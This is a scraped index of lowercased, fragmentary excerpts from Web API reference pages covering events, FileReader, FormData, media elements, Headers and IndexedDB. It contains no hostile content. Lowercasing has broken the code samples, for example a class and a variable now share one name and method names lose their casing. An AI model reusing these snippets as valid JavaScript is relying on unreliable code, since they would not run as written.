class myeventtarget extends eventtarget { constructor(mysecret) { super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
FeaturePolicy.allowedFeatures() - Web APIs
as such, allowedfeatures() method returns a subset of directives returned by features().
FeaturePolicy.allowsFeature() - Web APIs
origin name optional an origin url to check the feature on.
FeaturePolicy.features() - Web APIs
// get the feature policy object const featurepolicy = document.featurepolicy // retreive the list of all supported feature policy directives const supporteddirectives = featurepolicy.features() // print out each directive into the console for (const directive of supporteddirectives){ console.log(directive) } specification specification status comment feature policythe definition of 'features' in that specification.
File.fileName - Web APIs
WebAPIFilefileName
there may also be large incompatibilities between implementations and the behavior may change in the future.
File.getAsText() - Web APIs
WebAPIFilegetAsText
= fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("utf-8"); // modify data with string methods } else if (accept.binary.indexof(file.mediatype) > -1) { // binary } } } specification not part of any specification.
FileReader.error - Web APIs
WebAPIFileReadererror
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
FileReader: error event - Web APIs
input.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status file api working draft ...
onerror - Web APIs
the filereader onerror handler receives an event object, not an error object, as a parameter, but an error can be accessed from the filereader object, as instanceoffilereader.error // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onerror = function(event) { alert("failed to read file!\n\n" + reader.error); reader.abort(); // (...does this do anything useful in an onerror handler?) }; reader.readastext(file); } ...
FileReader.onload - Web APIs
WebAPIFileReaderonload
example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader.readAsArrayBuffer() - Web APIs
syntax instanceoffilereader.readasarraybuffer(blob); parameters blob the blob or file from which to read.
FileReader.readAsBinaryString() - Web APIs
syntax instanceoffilereader.readasbinarystring(blob); parameters blob the blob or file from which to read.
FileReader.readyState - Web APIs
example var reader = new filereader(); console.log('empty', reader.readystate); // readystate will be 0 reader.readastext(blob); console.log('loading', reader.readystate); // readystate will be 1 reader.onloadend = function () { console.log('done', reader.readystate); // readystate will be 2 }; value a number which is one of the three possible state constants define for the filereader api.
FocusEvent.relatedTarget - Web APIs
focus the eventtarget receiving focus the eventtarget losing focus (if any) focusin the eventtarget receiving focus the eventtarget losing focus (if any) focusout the eventtarget losing focus the eventtarget receiving focus (if any) note that many elements can't have focus, which is a common reason for relatedtarget to be null.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
it can have the following keys: family: family style: style weight: weight stretch: stretch unicoderange: unicode range variant: variant featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', 'url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } ...
FormData.entries() - Web APIs
WebAPIFormDataentries
the key of each pair is a usvstring object; the value either a usvstring, or a blob.
FormData.get() - Web APIs
WebAPIFormDataget
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
example the following line creates an empty formdata object: var formdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormDataEntryValue - Web APIs
note that the formdata.append() and formdata.set() methods allow passing a blob value, which is converted to a file in the process.
FormDataEvent() - Web APIs
formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles.
FormDataEvent.formData - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post"...
Gamepad.axes - Web APIs
WebAPIGamepadaxes
analog thumb sticks).- each entry in the array is a floating point value in the range -1.0 – 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).
Gamepad.hapticActuators - Web APIs
the hapticactuators read-only property of the gamepad interface returns an array containing gamepadhapticactuator objects, each of which represents haptic feedback hardware available on the controller.
Gamepad.index - Web APIs
WebAPIGamepadindex
the gamepad.index property of the gamepad interface returns an integer that is auto-incremented to be unique for each device currently connected to the system.
GamepadButton.value - Web APIs
the gamepadbutton.value property of the gamepadbutton interface returns a double value used to represent the current state of analog buttons on many modern gamepads, such as the triggers.
GamepadHapticActuator.type - Web APIs
syntax var myactuatortype = gamepadhapticactuatorinstance.type; value an enum of type gamepadhapticactuatortype; currently available types are: vibration — vibration hardware, which creates a rumbling effect.
Gamepad API - Web APIs
extensions to other interfaces navigator navigator.getgamepads() an extension to the navigator object that returns an array of gamepad objects, one for each connected gamepad.
Geolocation.getCurrentPosition() - Web APIs
options includes: maximumage: integer (milliseconds) | infinity - maximum cached position age.
GeolocationPosition - Web APIs
geolocationposition.timestamp read only secure context returns a domtimestamp representing the time at which the location was retrieved.
GeolocationPositionError.code - Web APIs
3 timeout the time allowed to acquire the geolocation, defined by positionoptions.timeout information that was reached before the information was obtained.
GeolocationPositionError - Web APIs
3 timeout the time allowed to acquire the geolocation, defined by positionoptions.timeout information was reached before the information was obtained.
GlobalEventHandlers.ondblclick - Web APIs
within the function, this will be the element upon which the event was triggered.
GlobalEventHandlers.ondrag - Web APIs
: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> s...
GlobalEventHandlers.ondragover - Web APIs
: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to...
GlobalEventHandlers.ondragstart - Web APIs
: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to...
GlobalEventHandlers.ondrop - Web APIs
: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this elem...
GlobalEventHandlers.onended - Web APIs
the ended event is fired when playback has stopped because the end of the media was reached.
GlobalEventHandlers.onformdata - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"...
GlobalEventHandlers.onload - Web APIs
there are also dom events like domcontentloaded and domframecontentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading.
GlobalEventHandlers.onmouseenter - Web APIs
the mouseenter event is fired when a pointing device (usually a mouse) is moved over the element that has the listener attached.
GlobalEventHandlers.onmouseleave - Web APIs
the mouseleave event is fired when a pointing device (usually a mouse) is moved off the element that has the listener attached.
GlobalEventHandlers.onmousewheel - Web APIs
the mousewheel event is fired asynchronously when a mouse wheel or similar device is operated.
Gyroscope.Gyroscope() - Web APIs
the gyroscope constructor creates a new gyroscope object which provides on each reading the angular velocity of the device along all three axes.
Gyroscope - Web APIs
WebAPIGyroscope
the gyroscope interface of the sensor apis provides on each reading the angular velocity of the device along all three axes.
HTMLAreaElement.relList - Web APIs
the property itself is read-only, meaning you can't substitute the domtokenlist by another one, but the content of the returned list can be changed.
msAudioDeviceType - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLBaseFontElement - Web APIs
obsolete no change document object model (dom) level 1 specificationthe definition of 'htmlbasefontelement' in that specification.
HTMLCanvasElement.height - Web APIs
living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.height' in that specification.
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
this event has a webglcontextevent.statusmessage property, which can contain a platform dependent string with more information about the failure.
HTMLCanvasElement: webglcontextrestored event - Web APIs
once the context is restored, webgl resources such as textures and buffers that were created before the context was lost are no longer valid.
HTMLCanvasElement.width - Web APIs
living standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.width' in that specification.
HTMLContentElement - Web APIs
the htmlcontentelement interface represents a <content> html element, which is used in shadow dom.
HTMLDetailsElement - Web APIs
g style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldetailselement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDialogElement: cancel event - Web APIs
for example, the browser might fire this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui.
HTMLElement: animationiteration event - Web APIs
}`); }); the same, but using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation...
HTMLElement: animationstart event - Web APIs
lector('.animated'); animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation...
HTMLElement.contextMenu - Web APIs
syntax var elementcontextmenu = element.contextmenu; example var contextmenu = document.getelementbyid("element").contextmenu; // change the label of the first menu entry contextmenu.firstelementchild.label = "new label"; ...
HTMLElement: gotpointercapture event - Web APIs
it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
HTMLElement.innerText - Web APIs
if the element itself is not being rendered (e.g detached from the document or is hidden from view), the returned value is the same as the node.textcontent property.
HTMLElement.offsetLeft - Web APIs
however, for inline-level elements (such as span) that can wrap from one line to the next, offsettop and offsetleft describe the positions of the first border box (use element.getclientrects() to get its width and height), while offsetwidth and offsetheight describe the dimensions of the bounding border box (use element.getboundingclientrect() to get its position).
HTMLElement.oncut - Web APIs
WebAPIHTMLElementoncut
it also logs each copy and cut attempt.
HTMLElement: pointerdown event - Web APIs
for touch, it is fired when physical contact is made with the digitizer.
HTMLElement: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
HTMLFormControlsCollection.namedItem() - Web APIs
the htmlformcontrolscollection.nameditem() method returns the radionodelist or the element in the collection whose name or id match the specified name, or null if no node matches.
HTMLFormElement: formdata event - Web APIs
ubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post"...
HTMLFormElement.length - Web APIs
the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.submit() - Web APIs
if a form control (such as a submit button) has a name or id of submit, this method will mask the form's submit method.
HTMLFormElement.target - Web APIs
the target property of the htmlformelement interface represents the target of the form's action (i.e., the frame in which to render its output).
HTMLHtmlElement.version - Web APIs
this property has been declared as deprecated by the w3c technical recommendation for html 4.01 in favor of use of the dtd for obtaining version information for a document.
HTMLHyperlinkElementUtils.hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
HTMLHyperlinkElementUtils.host - Web APIs
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment ht...
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
HTMLHyperlinkElementUtils.href - Web APIs
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
HTMLHyperlinkElementUtils.origin - Web APIs
the htmlhyperlinkelementutils.origin read-only property is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
HTMLHyperlinkElementUtils.toString() - Web APIs
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html living standard living standard ...
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
HTMLIFrameElement.featurePolicy - Web APIs
the featurepolicy read-only property of the htmliframeelement interface returns the featurepolicy interface which provides a simple api for introspecting the feature policies applied to a specific frame.
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html living standardthe definition of 'htmliframeelement: srcdoc' in that specification.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLInputElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
HTMLInputElement.mozGetFileNameArray() - Web APIs
afilenames is an array into which the file names are placed.
HTMLIsIndexElement - Web APIs
obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmlisindexelement' in that specification.
HTMLLinkElement.referrerPolicy - Web APIs
the htmllinkelement.referrerpolicy property reflect the html referrerpolicy attribute of the <link> element defining which referrer is sent when fetching the resource.
HTMLLinkElement.relList - Web APIs
the property itself is read-only, meaning you can substitute the domtokenlist by another one, but the content of the returned list can be changed.
HTMLMediaElement: abort event - Web APIs
ce event event handler property onabort examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('abort', () => { console.log(`abort loading: ${videosrc}`); }); const source = document.createelement('source'); source.setattribute('src', videosrc); source.setattribute('type', 'video/webm'); video.appendchild(source); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement.crossOrigin - Web APIs
living standard no change from html5 html5the definition of 'htmlmediaelement.crossorigin' in that specification.
HTMLMediaElement.defaultPlaybackRate - Web APIs
living standard no change from html5 html5the definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
HTMLMediaElement.disableRemotePlayback - Web APIs
(false means "not disabled", which means "enabled") example var obj = document.createelement('audio'); obj.disableremoteplayback = true; specifications specification status comment remote playback apithe definition of 'disableremoteplayback' in that specification.
HTMLMediaElement.duration - Web APIs
if the element's media doesn't have a known duration—such as for live media streams—the value of duration is +infinity.
HTMLMediaElement.ended - Web APIs
syntax var isended = htmlmediaelement.ended value a boolean which is true if the media contained in the element has finished playing.
HTMLMediaElement: loadstart event - Web APIs
t); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'loadstart media event' in that specification.
HTMLMediaElement.loop - Web APIs
the htmlmediaelement.loop property reflects the loop html attribute, which controls whether the media element should start over when it reaches the end.
HTMLMediaElement.mediaGroup - Web APIs
the htmlmediaelement.mediagroup property reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to.
HTMLMediaElement.onerror - Web APIs
syntax htmlmediaelement.onerror = eventlistener; value a function which serves as the event handler for the error event.
HTMLMediaElement: pause event - Web APIs
the event is sent once the pause() method returns and after the media element's paused property has been changed to true.
HTMLMediaElement: play event - Web APIs
the play event is fired when the paused property is changed from true to false, as a result of the play method, or the autoplay attribute.
HTMLMediaElement: progress event - Web APIs
t); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'progress media event' in that specification.
HTMLMediaElement.readyState - Web APIs
it will then check if at least the current playback position has been loaded.
HTMLMediaElement.seekable - Web APIs
living standard no change from html5 html5the definition of 'htmlmediaelement' in that specification.
HTMLMediaElement: seeked event - Web APIs
the seeked event is fired when a seek operation completed, the current playback position has changed, and the boolean seeking attribute is changed to false.
HTMLMediaElement: seeking event - Web APIs
the seeking event is fired when a seek operation starts, meaning the boolean seeking attribute has changed to true and the media is seeking a new position.
HTMLMediaElement: timeupdate event - Web APIs
user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the video.
HTMLMediaElement.volume - Web APIs
the htmlmediaelement.volume property sets the volume at which the media will be played.
HTMLMeterElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
Option() - Web APIs
examples just add new options /* assuming we have the following html <select id='s'> </select> */ var s = document.getelementbyid('s'); var options = [four, five, six]; options.foreach(function(element,key) { s[key] = new option(element,key); }); append options with different parameters /* assuming we have the following html <select id="s"> <option>first</option> <option>second</option> <option>third</option> </select> */ var s = document.getelementbyid('s'); var options = [ 'zero', 'one', 'two' ]; options.foreach(function(element, key) { if (element == '...
HTMLOutputElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
HTMLProgressElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.form - Web APIs
syntax edit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascript a property available on all form elements, "type" returns the type of the calling form element.
HTMLSelectElement.item() - Web APIs
living standard no change since the latest snapshot, html5.
HTMLSelectElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.options - Web APIs
living standard no change html5the definition of 'options' in that specification.
HTMLSelectElement.remove() - Web APIs
example var sel = document.getelementbyid("existinglist"); sel.remove(1); /* takes the existing following select object: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.remove()' in that specification.
HTMLSelectElement.setCustomValidity() - Web APIs
living standard no change since the latest snapshot, html5.
HTMLTableElement.frame - Web APIs
the htmltableelement interface's frame property is a string that indicates which of the table's exterior borders should be drawn.
HTMLTableElement.rows - Web APIs
this provides quick access to all of the table rows, without having to manually search for them.
HTMLTableElement.rules - Web APIs
the htmltableelement.rules property indicates which cell borders to render in the table.
HTMLTableRowElement.rowIndex - Web APIs
html <table> <thead> <tr><th>item</th> <th>price</th></tr> </thead> <tbody> <tr><td>bananas</td> <td>$2</td></tr> <tr><td>oranges</td> <td>$8</td></tr> <tr><td>top sirloin</td> <td>$20</td></tr> </tbody> <tfoot> <tr><td>total</td> <td>$30</td></tr> </tfoot> </table> javascript let rows = document.queryselectorall('tr'); rows.foreach((row) => { let z = document.createelement("td"); z.textcontent = `(row #${row.rowindex})`; row.appendchild(z); }); result ...
HTMLTextAreaElement.labels - Web APIs
living standard no change html5the definition of 'labels' in that specification.
HTMLVideoElement.msIsStereo3D - Web APIs
msisstereo3d is a read-only property which determines whether the system considers the loaded video source to be stereo 3-d or not.
msSetVideoRectangle - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
Headers.delete() - Web APIs
WebAPIHeadersdelete
headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.entries() - Web APIs
WebAPIHeadersentries
the both the key and value of each pairs are bytestring objects.
Headers.get() - Web APIs
WebAPIHeadersget
specifications specification status comment fetchthe definition of 'get()' in that specification.
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one.
Headers.has() - Web APIs
WebAPIHeadershas
headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
specifications specification status comment fetchthe definition of 'set()' in that specification.
History.length - Web APIs
WebAPIHistorylength
living standard no change from html5.
History API - Web APIs
living standard no change from html5.
HmacKeyGenParams - Web APIs
if this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen.
IDBCursor.continuePrimaryKey() - Web APIs
the continueprimarykey() method of the idbcursor interface advances the cursor to the to the item whose key matches the key parameter as well as whose primary key matches the primary key parameter.
IDBIndex.getAllKeys() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBIndex.isAutoLocale - Web APIs
+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications not currently part of any specification.
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification not currently part of any specification.
FileHandle.getFile() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
FileHandle.name - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
FileHandle.onabort - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
FileHandle.onerror - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
FileHandle.open() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
FileHandle.type - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
IDBTransaction: abort event - Web APIs
